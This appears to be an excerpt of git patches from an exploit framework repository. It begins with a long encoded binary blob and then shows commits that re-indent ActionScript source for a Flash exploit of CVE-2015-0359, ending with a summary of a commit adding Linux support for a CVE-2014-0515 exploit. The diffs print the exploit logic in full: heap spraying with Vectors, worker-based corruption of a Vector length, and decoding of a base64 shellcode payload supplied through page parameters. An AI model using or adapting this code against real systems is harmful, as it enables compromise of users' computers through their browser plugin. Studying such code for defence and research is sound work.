z`Yu1fn_~2yEu~wz)F}CDHIy`dX=0;c4j-S{v%A#u7zMF<1Xfx#e-gP{a9q|K(@X{5 z8M4~&ax4I56{13e!mUG_Wq_sTrJqclCp*_j*7e#{9BavGGr9%2e~zAmOZ#zAF!#Kr z)y_fJ7{~#b2jEQ3ij1ijS7K>urqYmr`T)*n25`L>?u;O6ny}3NJu838WBQHF4@f2|F~!^y{# zw2e}u+Q-G6i8mQs;Pus^Mae_m{D*(iWFy%yhv@S8gE7PTe=`!@na%h)44Qc`fLVEU z?vg=zOyV0DgwG2TK~)y{;H0uP!j_z++*%hTR=2Q_5(s`qrG(zidmm3*nS868xj0G- z_&pnN@*b-PQB}G$2qtb8T+Ldh?XHQs+=w4Vqjt#~SmqgfK)~MSY8fkmc~#~YL~#;R z?s^9!E;-PUe{9NgfO4u|(@gTul>Mew0m;vE;u&XiOy6PQy}VM7U9_>jDyYcrqo8~< zB^Ovo0c*xv1R&hZc}aj?(lKg$twa!^vUGiE9>97QlZjiw zqPb=?!SQ>2X{`tZ=dp~p0FJD7)6n@K{f2pSdX9fZ3(_tAlT`#*kcsuR`a1|a)R7$o z1kfj;I3kEy;#7mH1P!91w^+X*;kf5s9^5FcSX<|I^F)b7x*A=e?DU7jnTtI6KTuD$ z#I(~Cf0!~e_X?ezssgsi7Zqw%$B1j&>gs>-68KAHEJfOZ2~a(z(*gj_p+LnO+4bD% zEMG%S(Daz_y43sr-nDfqVQKpTz@||nXHi%d<8b+`i!x6z z@=|FN`KTa76V4;*1)9k487zUeuxgbOS8qg-e=w#ZauxOXAIQTXcZ=FzykRKcKgMPq zk`2{Fz}+S(Pgc)T&0@+L?!yL!L>B&j_;^J`gCYM>7n*eU8$P34X?|%@@Vl6Ns^uQ8 zm7^Rjvg-yCy+OCZNYOLM_PTmBuRkLFPyoo6!PkS|if27unC*UU(ND%L{W*U!d?N_& ze|i#cc32ANlF3q@0)o#L$lyX3?_0_0+#W5yNhlVh0^smkk)BucJ3r3n(|{d|kMs4gj@wrAlacnjkPNfypsz#U?%w z!}T^Ax=tOpAG3orBEP$(|qJJ|Hq&f-a}w*#NUtmm%HyNN8Ph` z6*IQUYT|LsdFXgdzQE<^fqzwJG`aUo!KwZYAwiu?`>q_P-I@-UG62A}JpFZpf9Nc} zsuRABhl2qaJLh0V$r|A~2f{)=a-UI6)JJiDwg0G2-RZ9}y-!w2czLd{{hiZ8^_OT8 zhjUg3Lq6{@wSI&dma5Cno0Ex)rtEaG_g?O>42WICJBVd?u^mUsFN(|ZC3$Ta!h%zD zfP-z7-2zQB`}H|^?GTx%!;+Yme{1^^<~He?Nb6B@o;PV$wcK^($&hsavkHUjz1aE@ zfvJ*S^b6n7u1Nx$#G?C@L|Gs7wy1Z$CoZb!L9rv$ep3!X-6{!psNgB!CV4;2$uK+5 zO|;m?lvxjd9U{Z7E}>amdF}xE5TOKp6!&7*6brYkE@Bp}vmYrfYODPKf2y@us&G^n z7XyPbu^%^`(uXn9Pv1pqn}?VJ^ApqNBmBcIVo9GP=!6dyw;{ib6tGzYx1SjPBe(5xU+H1*ygHZqOOq&^pC`1Od{rBjUVZnp(-6m}I~q{mGaJu^qA1f?jiKf! zPimZb9(7>hVkxnACP@ysf1k#h3@iR6p{#U49TU~3i!H?O!@puDH^ESy`ykPh$AQk^ z)*jAxX9Kh9q71GHAuB3E&3-D@(D|-ge#>u)9y^!^VK;JXi9{ZAO;AqGLSP@q;UVM8 znmm{DkFK>Lrvd!HxXKp7F|=VUPqqU3m?upel(0fl;F06vRL`REfA=s-HNWuZlxN|B zCb+y8WEv(93IjwF$oP*G5^vzzPkEq88086}brpg*Op{1k)8cmdD65sDk>*{*A=pi^ zxWoweO<1gtbsR1##3&7zC>JSHFGrZI3U0Ioju;j2p7Y!;h%l6QK3yrQNhgQihf+NKe?==-654QC_0&L1|9RHv8@TGXs*EN#?ZT}fd4}}zAO?*KBb1O4 zhp%G3RXywM4;!ef*{3Ke5$C~JHns@WJMUM&%dev)Ccv}jx>!3`>D0bflu`+Y+GuwF zYc!Lh6e7w8$hyb#I=XQB1H|^96+hIEkp@~V1^d6C-|>eql380>!3*TyZrV$j=RXM&lxT)EQf(;0z}Mp62vjmRygHm zCU9DrpYrwre_a>CPrJ$Kt67 zelj`Wi&LA_L(iJBgAr))F{DE_Lr)gpBx*VS2lRSk*gZleT zP){A|Ivm7T4skB(!y5C8$zzBbe3mn?p>-L98kn?KfB$`O`abtrj+N3Rwe;DSWp^HA z-bL~uT(B9xd(yUbJm7w&9YZrZHiAOju>tIRh^DKS|@wv(rusj!m6GG|s5oC4K``&h!R?AA&e;Q^@&# z(`FFclsfx+<041IGucea==qn@B_5}tXp_-sMc&cNnPR-y{t8Q{E|Eg?*q+D2U*egy zA|n?Xw{nqDHv-03^vk)e|BWcQMq>9O~0vw zQ^7DNzU5x`nh%TCD(nq;1tKFPWQ`=3SerUllUglj$xhyjZ%DWK^f{A^V5`kOQV`*M zf4)QBe)p!8E$K=ei=_s>)s&KQv|p)R-z1LSHHq5=p^=nxPc7iR*r@Kb9F?$7q#_ld zlD>M>IQTm)W|Y6qOmIzFmYd!@Ko<9IcbzOkh8TvR+bk`wbImK}P1<7-L;eHdg7aMCwtuP52k&37Z)8bQh6xhH0|QaQ0x$ zVz-CfO&5taxf!EfZ0wGw!_5t(Uh;^=h13Su?s(qM`kg5J1fNz}tbi$~D{AAieCW(t&hol`tLkEA_m@Z0eqqWZds@DW#>|6qh7$)7V<> zvh4dYU{45NDvaf>4$E95tZm9~;2IJ~LOmcilAhx_2Pv zQWVJt#gK05i>Ub0%%IP4l2^5Re|G>gEKe3im&1)V(^Cx3h*|Mk;FDvuMG0bIt~5Ie zt>Hui8=?D>r_q(Q)#U?xS0|{Q=d&f_Z#Fj9UDP9t(nnKdC%z#nz<|?cl{?)Y2gAt? z1!WRUn^=RzhjajI845#NKmrZg*em9#n_lxO_+J18W`YxRUxyE6dv|Pse@9^FBc_a% zgi*in&kI*5dTal=xR+WsuZ=kM#XEalg>;KCmWUW>tUs@&zk$Z{0xUH|BQ(Lto=PeX@i=nUXze6tOn z?YgYcaH6tcPmt4YOZFk|@?rousB>5)>=(k;JlFgy zS}OI?mjX%ObxAc19kb;WIhM?tJDh|%pbCsA37knHaCL#O{-pAje>&?FY3HGc-hy~D z?WescO5IzPIZw)LsTv6`>v#?-yd>eE;0Aya*}9Cfrao2f>2n=h>}rewjw7R`FSCgy z?)~$zVIRBaj1?)nW3CydM<{Wn0F3O+YVGF|pY>ssz&cay@vX=mlO_U2k(!l&UbGNt zV`X8}*p_+7g0)sRf6Dg7^MXu~88z|88K0Da;kZXnYg-{f&CUAi z!-+T`XZVoWURNB${9?d&KL z7aNJ<{udJ!sGu6Fqg*EO(V!3c8^uQ25n)A|R`OA;55Lfq*O0j{qYGZfZPRjt zln8g=*{p8${zLje!_8MD;#gXSDHkdj27_(YLu&e*f8$|o&gU*baRQc!aDvf6blB~8 ziQ;$UUyGT?G*if!PY(Xh^jk<;F~IVhJKB09?eK^-Ul`Q9JYc$MEc;rSVdq-dO6@6RoO`+T7zo^DS|Uzfa-++BnpA?X$sAo(#?J>A1iM* z%DE2Se{9?P?+Vm~pgI+dWwyV1Mkg74y5Wo-wbUZe;#4ARDzv7q1&f~pVCu%gc%n$O zNY6@uic5$#qdb{M`UF#3{$)jy{Qh1AXLh|3X)-$TD;`gb3~+T9DL2iHUhOF5^f!8t zVl@nK_MOD^5Lt<6m$>UV#%;c$c`3FrsRmOhr*nBtrfgJ5b$Y6s%d!2t|cZm2u+Wh$Fh(%Q+B4 ziPK3eI3(cp#~=)BwSTIUg#4<>3@yhEdDGa+@@z8&a+5!%oPFSL4J`&(5u+d)e71VF*J`yxqfx3d_!+;pPDLvUeeW*EWmeX#fL9 zpUg77RhSJv6C)VLM|;w;+PG$lcP)eu@m=7z-?F z3Zav?w;)5!=G~FleV{Q4R#fV^;Qq2_f5zLrAZBBDSA4+tTjQmQOzGu}gHgevf1na}qqB1sQxlF!A@w`kc`OpWEgkfBK`skeFTTqdSL4b-!PfNfVV(EN^N$|>W5 zuy1V>5&+XsN57PNa^-_ zJea>96Qtvf(wQV;M}m zA%)RnZ5vKZ0cA{Jn%ZG)uBX&eafl)ymZS+Dg3up1JBaQwYg-vIx0FnBLqPKO1H+3! z6uZw4lArQbZVCzphRL%viUe1$H%;+}w0J_a%L>AXt}slUZ3>@Pe^MV~RM-BtU4x&z zDf>V>bq$fX@eZPHe zbX;LN9EA;#Y~pXYzB3M!H(=jp=31X5POgM{j&P( zAk}p6&=B+}EqQK2JX;EK4e>-Xs41@QIGFi`O!JazZYnO~f39vVDAGRL2xx$rD zcnal}f26jB=%tRjE0l4_jIM5YvJznit?m9eiNu%nk~^k-V3sk&nZ-Zyr(!qRme?jy6)N5~DcwT5wPgvfMO|bRmgHT3KpK$=Ba<9TNH(iR04CMOZY2d!W z8@C)^TCv^Fn7At5NapIn0;{;Ud=+I}g9hf-3n|ehaP*se5LL5;FMkA~eci;I>T5`ba&YGg{_cwp?i=9T+E{t} zn*A@Y=f|gFqQZxgz)EH72bg*$ci$j6r3`kgly5lTW|(qyXBAlF9yiNKRj~6Mp2X`& zd>UfP=2!Ik_M$n~2}5_I|eR7C4o{=OZQF^HHofnueHLJ4p?|LVxwqF}Q#wlKpK@5z-`uO|pD* z5yU^W$Pbmnh9f7WKq*Oy88&ZCU2S!EoYHQl*<~`9bH)UzZ?`wPfl`w)%#&f+y9Ly= zGzWK_oSGun0P}3ao=~K2XYn1j1AE7`Dk%lC&p9{3C0KDZ_N~2UfTtecDKz(G`obwM> z7}~k}gRNoo&n1JKntgDOIRp2EhB`C%X`N%itFZI9a3=_``0*+2UFzy14BbDCm#)7U z>(V?qKfEO0f63?!Ez_c{Ra+v5+%H=H`85 zOI&pa)kv$+2rB(n06$Osi$;(J^Hu^)oahRoW}AkQ`R&mXXkm!@5K{nDdTO~^)OONrciSZvQM1#LL~o}00u~z1WqsIDpw{f^b@Ck1N+{QH zdO{;_9ikLn#QVQI%miiqa%zQV8Km?+j(_`iBDU|UvU=WoiSbzlGY<2mC#2$t$vJ1w z-j_WCP}_H;mD-wP^4jO5l0y+`R(f*HZCJ-6T)(~chyGGi-lz_(dDgrbzY$B>({Q*I zS9G1vPu7_Cv;qG*#*wBx4GNk5epCSd0=OMlAF|5&4oe+3u%XBc`WVz%{~Bf_jDN_~ z2%Tv4Hj@Gutm?Cju3d8W^=4VVLV9f2AlkeqwY3I`%zNkL^?n~i9Go|SuH@W%#Vs7* zZ=AuNY8bMNz6LcE4m>t|@&CMyj4!o0R)SN42&g8}q$AR~I-%B&as;8~)oJQT0MG|G zdM*}5@UhXn0HDT*>$0zb>%SosEPup7%LhYQPUd%O>_Ad<4*d|Pdlip9^Veqhs96#4 zo3v1bbrtK$gam9t@}a>bjlKa0VZXJFNRKy6K##0X(#+fw(Un$56M(oGkHMy%_SC~8 zX(YB4?;1dKzILu@JDyD=nr9SuX|E<|0kgkjIo7L;P^Sc46DZ5bs1!Br>3?mhS}9fG zTIZLZCxbFT?i@g7DAdtiA1gEXKygvAB`$i%z51xR=yb9A; zYl;tGOpuQ!ap9?H@^;RNJA^(P`NZVg$zK1x4F8myh$bIsQ0*bKUgM9)Y6PS3aHiYN zamOHyJxTCN9M9URb>w!M@_&o!l;7(z+6A9&d`%@-oTM_V-_U z%?oxx=iQTjb04r_uSMOuL*K^Y zY=M3D-UpJ##3$1+>KN`?{kDu$oK6u-=FB2>j*j+OvYxf_Wq(wu*R{wf&It>2?wDc0 z|I8)O%aC%TKfC?t4aRdoT&M}E=jy3=J+L*fQ%b5fW7NG-Do;%q6WUpZ_L~rF&p-W1 zev++k))%Zb1`N(>e-qH$DO-$gpA}NQXeE3hh00f3yM*hOs467??1{L@$R<=5iWc}yDkJV{8j!x?NzGmCVxL8ic7LCzY=uGRP|r= zYeO01PKgJSV=V?5R0&6Rg6DWrC*2xi>~#2;@6YYZ|3&}5>vf{x#6;1$vVU`UwQdL8(Ky;pabEyXVVRi4 zn^+vXWtXM?EUhWT8cd-cy}a1 z#cpx8FQTlq@cE9dU?y`@gc*pc>C)+Yp*)4lGZ0RQ^cqq!Z{c(jRthqmDvEYu$6ojq zK+`lmM$A^2HQtj)*m>wKvza0q^QG|I+AxEjkAIxjcP$H$wCUe)ZBn69gtccm4xNLMq+g6b@8K#KSwj} z(KK#v+7?s}J9OA|*~>_;UBV~g9{P_)ND3IAGbdD&oZb?q(WzG#=}iEM5F_ea{Obk1 zyMGN%8-m7d#9RBq@`)%sY)6Qfz~ke}{7m9(0mtCM9in=%ewx*xR{{*EKx z6wdI^gP@HZs6X|Mc(41uPXKd~&^F#wKwf<3CO`uG=Y6y}Ylt_n2Wk%w$H8>k_hNRO z$~2*QrJ~e{Du3`ixt3Pwj#QrDQqyApz5sv^NV7Ppe8dmY$}u&Wq-{U z%#!Z9d6!y1M2n!JypX%|p4xPCC`a|Jo8V*$089pAuvEehl8u5OLa{e=TVL}3iwEqw z{Zku>RU&uUdcx_@3J&t;2+}_BHw#5RNDiESO+tG|>2iRZ!Wr7zve4o%^%F=_U%wAK zvx#ZK8ehX^cXhhE*HWPiyrZi&5`Qr4*~R@>Ii7RuT)O)VKw#TN(sUM`iC8-ac$MXb zAxHlCv)hF?eSU#1)d&U!J1X+xfbWUQseOl>6}Ugu!r7ccBqrFj#pPzc>IJpjyg#TJ(TdVkFY$S}tn z)W5V`2@)b+nH6Lbd{_r!RZ3Z!-eDdnga4ON2+h$%9tIA4T#yu{wCUs+(=CLMKL4FP z7#{->8<>-)zJ*Lq%@JMo?&9sKwB!q+lQfvuJUc3{5K4#NQYQA?ltEmslNtX8RDiPz z%H%A8(z6L0ya=kIazWU&?CVf&TnMfh2-^g6$rkzqDHb{WaNR|7azLoxV^7aHZ?R`G+OD^Zemp0&7=LMWJyT3SL?fNE zVZzsZ17N#4@oR|4f4TFLLX3g(HP#_X&#Hhd?}{z`wO7gc%UhgDwBuO>c5bjscV;#G z3W@{5gp$*QvkzQ|SLhnn@!O%S z{~X<~obvSzg%n*(sw?P!sp?SzRu?Yo1_v4gEI@xVf9+=JE7eW32mpcb#fOqZj&4(k zV;*%qULtZ*#y;-XW`Sfy5(1D!5>;k{p#9;$GKvE=#lpg%U;!LOCiKWP#Q6e63<2mz zuW^Q2kD_*tJb#;A7CJ2f>p%krm^C$wP`WnX9S!-_Qb8&x@1mn_j?NH#lbAJWD*b#r zC&9k;^|t1;6$H6%xDs$+F&<&7B7`JfEGYkV3&tD)qSvJIQxBzi>C|+)tVAwetjw;0 zaV@YjYU)EKJGkWSc&8M|VA!|PhvhHwyR0t67zees{eP`MrkC0#V|W37*&fim5O-Z9<0k*8RdSGqHB zD--F5xIme1mne|?p)aw$cvvD_-W|l`W2Vi8U|NIW19cgOSZrb9OscUW%~QGGsX97$ zA4qo3CV#RndEf@xq^F3HMBn}~s5Eet`l?(Ur{WgL*A3x2OXM8&RB>kOi+n8gxU5@L z)L%kt^UqM-bGT>i1BN9~pPJ2Xwg~4*dPDGGHBp#?CTr2|wkf190?#Ct24imXhOmS# zy^`Fd5glq}J&ST#@vpkvK%*B2RSy{oV{|4<>VKL)xS1N8jpgM79RGUsG*gqDb>*D9 zhT~I0lP%SLT0pjI0Ca@6x^u<(vCkCZ+NVbuXmygm7^u9)uL&IFIv9H5kuXV;NQJ3v z0{;+`_wY~cSwf676rd@)s@)E;s9zFgbq9?#N+inSNlwxbyp0_>28t{eO4P-?{rPC5 zIe#TGu@{3>r>sRmDWw_r4Gs-HPT-8u4I9q^*@46+zy1km%aRnu`WajV2jt5&oe~_n zBUybnK@IqL^MT9bXSdE^eB#~KuNf=CMk$Pr@&5ijN#3YoB{&~^y#NFin`S&|zJhX+ zXV`+>W(rZVNk&~`v;hNpKu2bv{Iv@fp1fT4`S&NW zvj?n{qgrF>(xUB-I}y`=Dj{vnxg@5&1x}-A*=)=OMVZyC!E-9dw)p>F>f?pq{mGaaPm$` YDboJn!nWUfe*g{{=u;x!|NU8Xm1pgV%m4rY From 7202e279186312510473b995f9f51e3de70e4275 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Wed, 10 Jun 2015 14:12:26 -0500 Subject: [PATCH 0391/1013] Fix indentation --- .../source/exploits/CVE-2015-0359/Exploit.as | 44 +++++++++---------- 1 file changed, 22 insertions(+), 22 deletions(-) diff --git a/external/source/exploits/CVE-2015-0359/Exploit.as b/external/source/exploits/CVE-2015-0359/Exploit.as index 104ae2d7cd..45e811a4a9 100755 --- a/external/source/exploits/CVE-2015-0359/Exploit.as +++ b/external/source/exploits/CVE-2015-0359/Exploit.as @@ -31,9 +31,9 @@ package private var b64:Base64Decoder = new Base64Decoder() private var worker:Worker private var mc:MessageChannel - private var payload:ByteArray - private var platform:String - private var os:String + private var payload:ByteArray + private var platform:String + private var os:String private var exploiter:Exploiter public function Exploit() @@ -44,20 +44,20 @@ package private function mainThread():void { - platform = LoaderInfo(this.root.loaderInfo).parameters.pl - os = LoaderInfo(this.root.loaderInfo).parameters.os - var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh - var pattern:RegExp = / /g; - b64_payload = b64_payload.replace(pattern, "+") - b64.decode(b64_payload) - payload = b64.toByteArray() + platform = LoaderInfo(this.root.loaderInfo).parameters.pl + os = LoaderInfo(this.root.loaderInfo).parameters.os + var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh + var pattern:RegExp = / /g; + b64_payload = b64_payload.replace(pattern, "+") + b64.decode(b64_payload) + payload = b64.toByteArray() ba.length = 0x1000 ba.shareable = true - for (var i:uint = 0; i < ov.length; i++) { - ov[i] = new Vector.(1014) - ov[i][0] = 0xdeedbeef - } + for (var i:uint = 0; i < ov.length; i++) { + ov[i] = new Vector.(1014) + ov[i][0] = 0xdeedbeef + } for (i = 0; i < ov.length; i += 2) delete(ov[i]) worker = WorkerDomain.current.createWorker(this.loaderInfo.bytes) mc = worker.createMessageChannel(Worker.current) @@ -85,12 +85,12 @@ package mc.send("") while (mc.messageAvailable); - for (i = 0;; i++) { - if (ov[0][i] == 1014 && ov[0][i + 2] == 0xdeedbeef) { + for (i = 0;; i++) { + if (ov[0][i] == 1014 && ov[0][i + 2] == 0xdeedbeef) { ov[0][i] = 0xffffffff break - } - } + } + } ov[0][0xfffffffe] = 1014 mc.send("") @@ -102,8 +102,8 @@ package Logger.log("[*] Exploit - onMessage(): mod: " + mod.toString()) if (mod == 1022) mc.receive() else { - for (var i:uint = 0; i < ov.length; i++) { - if (ov[i].length == 0xffffffff) { + for (var i:uint = 0; i < ov.length; i++) { + if (ov[i].length == 0xffffffff) { uv = ov[i] } else { if (ov[i] != null) { @@ -111,13 +111,13 @@ package ov[i] = null } } - } + } if (uv == null) { Logger.log("[!] Exploit - onMessage(): Corrupted Vector not found") return } exploiter = new Exploiter(this, platform, os, payload, uv) - } + } } } } From 1d05ce1cdc33dd50296836a20c89ea33377636ef Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Wed, 10 Jun 2015 14:14:29 -0500 Subject: [PATCH 0392/1013] Fix for indentation --- external/source/exploits/CVE-2015-0359/Exploiter.as | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/external/source/exploits/CVE-2015-0359/Exploiter.as b/external/source/exploits/CVE-2015-0359/Exploiter.as index 0a971409f6..f32ba07e13 100644 --- a/external/source/exploits/CVE-2015-0359/Exploiter.as +++ b/external/source/exploits/CVE-2015-0359/Exploiter.as @@ -54,11 +54,11 @@ package Logger.log("[*] Exploiter - spray_objects()") for (var i:uint = 0; i < spray.length; i++) { - spray[i] = new Vector.(VECTOR_OBJECTS_LENGTH) - spray[i][0] = eba.ba - spray[i][1] = exploit - spray[i][2] = stack - spray[i][3] = payload_space + spray[i] = new Vector.(VECTOR_OBJECTS_LENGTH) + spray[i][0] = eba.ba + spray[i][1] = exploit + spray[i][2] = stack + spray[i][3] = payload_space } } From 2bb3a5059c62a8fa4498a535165ced277b667e5f Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Wed, 10 Jun 2015 14:15:58 -0500 Subject: [PATCH 0393/1013] Fix else indentation --- .../source/exploits/CVE-2015-0359/Exploit.as | 28 +++++++++---------- 1 file changed, 14 insertions(+), 14 deletions(-) diff --git a/external/source/exploits/CVE-2015-0359/Exploit.as b/external/source/exploits/CVE-2015-0359/Exploit.as index 45e811a4a9..2846daaef7 100755 --- a/external/source/exploits/CVE-2015-0359/Exploit.as +++ b/external/source/exploits/CVE-2015-0359/Exploit.as @@ -102,20 +102,20 @@ package Logger.log("[*] Exploit - onMessage(): mod: " + mod.toString()) if (mod == 1022) mc.receive() else { - for (var i:uint = 0; i < ov.length; i++) { - if (ov[i].length == 0xffffffff) { - uv = ov[i] - } else { - if (ov[i] != null) { - delete(ov[i]) - ov[i] = null - } - } - } - if (uv == null) { - Logger.log("[!] Exploit - onMessage(): Corrupted Vector not found") - return - } + for (var i:uint = 0; i < ov.length; i++) { + if (ov[i].length == 0xffffffff) { + uv = ov[i] + } else { + if (ov[i] != null) { + delete(ov[i]) + ov[i] = null + } + } + } + if (uv == null) { + Logger.log("[!] Exploit - onMessage(): Corrupted Vector not found") + return + } exploiter = new Exploiter(this, platform, os, payload, uv) } } From 64562565fb2c84fcada2d71197e98b8d174a038f Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Wed, 10 Jun 2015 14:16:47 -0500 Subject: [PATCH 0394/1013] Fix method indentation --- .../source/exploits/CVE-2015-0359/Exploit.as | 18 +++++++++--------- 1 file changed, 9 insertions(+), 9 deletions(-) diff --git a/external/source/exploits/CVE-2015-0359/Exploit.as b/external/source/exploits/CVE-2015-0359/Exploit.as index 2846daaef7..6460587c8f 100755 --- a/external/source/exploits/CVE-2015-0359/Exploit.as +++ b/external/source/exploits/CVE-2015-0359/Exploit.as @@ -96,12 +96,12 @@ package mc.send("") } - private function onMessage(e:Event):void - { - var mod:uint = casi32(0, 1022, 0xFFFFFFFF) - Logger.log("[*] Exploit - onMessage(): mod: " + mod.toString()) - if (mod == 1022) mc.receive() - else { + private function onMessage(e:Event):void + { + var mod:uint = casi32(0, 1022, 0xFFFFFFFF) + Logger.log("[*] Exploit - onMessage(): mod: " + mod.toString()) + if (mod == 1022) mc.receive() + else { for (var i:uint = 0; i < ov.length; i++) { if (ov[i].length == 0xffffffff) { uv = ov[i] @@ -116,8 +116,8 @@ package Logger.log("[!] Exploit - onMessage(): Corrupted Vector not found") return } - exploiter = new Exploiter(this, platform, os, payload, uv) - } - } + exploiter = new Exploiter(this, platform, os, payload, uv) + } + } } } From af31112646c6fbc45a0eff7cfd24c76c9fb8b26c Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Wed, 10 Jun 2015 14:19:36 -0500 Subject: [PATCH 0395/1013] Fix exploit indentation --- .../source/exploits/CVE-2015-0359/Exploit.as | 148 +++++++++--------- 1 file changed, 74 insertions(+), 74 deletions(-) diff --git a/external/source/exploits/CVE-2015-0359/Exploit.as b/external/source/exploits/CVE-2015-0359/Exploit.as index 6460587c8f..fe93a4d79b 100755 --- a/external/source/exploits/CVE-2015-0359/Exploit.as +++ b/external/source/exploits/CVE-2015-0359/Exploit.as @@ -12,89 +12,89 @@ package { - import flash.display.Sprite - import flash.events.Event - import flash.utils.ByteArray - import flash.system.Worker - import flash.system.WorkerDomain - import flash.system.MessageChannel - import flash.system.ApplicationDomain - import avm2.intrinsics.memory.casi32 - import flash.display.LoaderInfo - import mx.utils.Base64Decoder + import flash.display.Sprite + import flash.events.Event + import flash.utils.ByteArray + import flash.system.Worker + import flash.system.WorkerDomain + import flash.system.MessageChannel + import flash.system.ApplicationDomain + import avm2.intrinsics.memory.casi32 + import flash.display.LoaderInfo + import mx.utils.Base64Decoder - public class Exploit extends Sprite - { - private var ov:Vector. = new Vector.(25600) - private var uv:Vector. = new Vector. - private var ba:ByteArray = new ByteArray() - private var b64:Base64Decoder = new Base64Decoder() - private var worker:Worker - private var mc:MessageChannel - private var payload:ByteArray - private var platform:String - private var os:String - private var exploiter:Exploiter + public class Exploit extends Sprite + { + private var ov:Vector. = new Vector.(25600) + private var uv:Vector. = new Vector. + private var ba:ByteArray = new ByteArray() + private var b64:Base64Decoder = new Base64Decoder() + private var worker:Worker + private var mc:MessageChannel + private var payload:ByteArray + private var platform:String + private var os:String + private var exploiter:Exploiter - public function Exploit() - { - if (Worker.current.isPrimordial) mainThread() - else workerThread() - } + public function Exploit() + { + if (Worker.current.isPrimordial) mainThread() + else workerThread() + } - private function mainThread():void - { - platform = LoaderInfo(this.root.loaderInfo).parameters.pl - os = LoaderInfo(this.root.loaderInfo).parameters.os - var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh - var pattern:RegExp = / /g; - b64_payload = b64_payload.replace(pattern, "+") - b64.decode(b64_payload) - payload = b64.toByteArray() + private function mainThread():void + { + platform = LoaderInfo(this.root.loaderInfo).parameters.pl + os = LoaderInfo(this.root.loaderInfo).parameters.os + var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh + var pattern:RegExp = / /g; + b64_payload = b64_payload.replace(pattern, "+") + b64.decode(b64_payload) + payload = b64.toByteArray() - ba.length = 0x1000 - ba.shareable = true - for (var i:uint = 0; i < ov.length; i++) { - ov[i] = new Vector.(1014) - ov[i][0] = 0xdeedbeef - } - for (i = 0; i < ov.length; i += 2) delete(ov[i]) - worker = WorkerDomain.current.createWorker(this.loaderInfo.bytes) - mc = worker.createMessageChannel(Worker.current) - mc.addEventListener(Event.CHANNEL_MESSAGE, onMessage) - worker.setSharedProperty("mc", mc) - worker.setSharedProperty("ba", ba) - ApplicationDomain.currentDomain.domainMemory = ba - worker.start() - } + ba.length = 0x1000 + ba.shareable = true + for (var i:uint = 0; i < ov.length; i++) { + ov[i] = new Vector.(1014) + ov[i][0] = 0xdeedbeef + } + for (i = 0; i < ov.length; i += 2) delete(ov[i]) + worker = WorkerDomain.current.createWorker(this.loaderInfo.bytes) + mc = worker.createMessageChannel(Worker.current) + mc.addEventListener(Event.CHANNEL_MESSAGE, onMessage) + worker.setSharedProperty("mc", mc) + worker.setSharedProperty("ba", ba) + ApplicationDomain.currentDomain.domainMemory = ba + worker.start() + } - private function workerThread():void - { - var ba:ByteArray = Worker.current.getSharedProperty("ba") - var mc:MessageChannel = Worker.current.getSharedProperty("mc") - var tmp:ByteArray = new ByteArray() - tmp.length = 0x2000 + private function workerThread():void + { + var ba:ByteArray = Worker.current.getSharedProperty("ba") + var mc:MessageChannel = Worker.current.getSharedProperty("mc") + var tmp:ByteArray = new ByteArray() + tmp.length = 0x2000 - for (var i:uint = 0; i < 20; i++) { - new Vector.(1022) - } + for (var i:uint = 0; i < 20; i++) { + new Vector.(1022) + } - ba.writeBytes(tmp) - ov[0] = new Vector.(1022) + ba.writeBytes(tmp) + ov[0] = new Vector.(1022) - mc.send("") - while (mc.messageAvailable); + mc.send("") + while (mc.messageAvailable); - for (i = 0;; i++) { - if (ov[0][i] == 1014 && ov[0][i + 2] == 0xdeedbeef) { - ov[0][i] = 0xffffffff - break - } - } - ov[0][0xfffffffe] = 1014 + for (i = 0;; i++) { + if (ov[0][i] == 1014 && ov[0][i + 2] == 0xdeedbeef) { + ov[0][i] = 0xffffffff + break + } + } + ov[0][0xfffffffe] = 1014 - mc.send("") - } + mc.send("") + } private function onMessage(e:Event):void { @@ -119,5 +119,5 @@ package exploiter = new Exploiter(this, platform, os, payload, uv) } } - } + } } From 8ed13b1d1b0ee5da43891c478e584168210c48dc Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 11 Jun 2015 16:18:50 -0500 Subject: [PATCH 0396/1013] Add linux support for CVE-2014-0515 --- data/exploits/CVE-2014-0515/Graph.swf | Bin 4943 -> 0 bytes data/exploits/CVE-2014-0515/msf.swf | Bin 0 -> 21561 bytes external/source/exploits/CVE-2014-0515/Elf.as | 235 ++++++++++ .../source/exploits/CVE-2014-0515/Exploit.as | 140 ++++++ .../CVE-2014-0515/ExploitByteArray.as | 85 ++++ .../exploits/CVE-2014-0515/ExploitVector.as | 74 ++++ .../exploits/CVE-2014-0515/Exploiter.as | 399 +++++++++++++++++ .../source/exploits/CVE-2014-0515/Graph.as | 411 ------------------ .../exploits/CVE-2014-0515/GraphShadLinux.as | 10 + .../CVE-2014-0515/GraphShadWindows.as | 10 + .../exploits/CVE-2014-0515/Graph_Shad.as | 10 - .../source/exploits/CVE-2014-0515/Logger.as | 32 ++ external/source/exploits/CVE-2014-0515/PE.as | 72 +++ .../exploits/CVE-2014-0515/binary_data_linux | Bin 0 -> 2425 bytes .../{binary_data => binary_data_windows} | Bin .../browser/adobe_flash_pixel_bender_bof.rb | 149 +++++++ .../browser/adobe_flash_pixel_bender_bof.rb | 50 +-- 17 files changed, 1221 insertions(+), 456 deletions(-) delete mode 100755 data/exploits/CVE-2014-0515/Graph.swf create mode 100644 data/exploits/CVE-2014-0515/msf.swf create mode 100644 external/source/exploits/CVE-2014-0515/Elf.as create mode 100755 external/source/exploits/CVE-2014-0515/Exploit.as create mode 100644 external/source/exploits/CVE-2014-0515/ExploitByteArray.as create mode 100644 external/source/exploits/CVE-2014-0515/ExploitVector.as create mode 100644 external/source/exploits/CVE-2014-0515/Exploiter.as delete mode 100755 external/source/exploits/CVE-2014-0515/Graph.as create mode 100755 external/source/exploits/CVE-2014-0515/GraphShadLinux.as create mode 100755 external/source/exploits/CVE-2014-0515/GraphShadWindows.as delete mode 100755 external/source/exploits/CVE-2014-0515/Graph_Shad.as create mode 100755 external/source/exploits/CVE-2014-0515/Logger.as create mode 100644 external/source/exploits/CVE-2014-0515/PE.as create 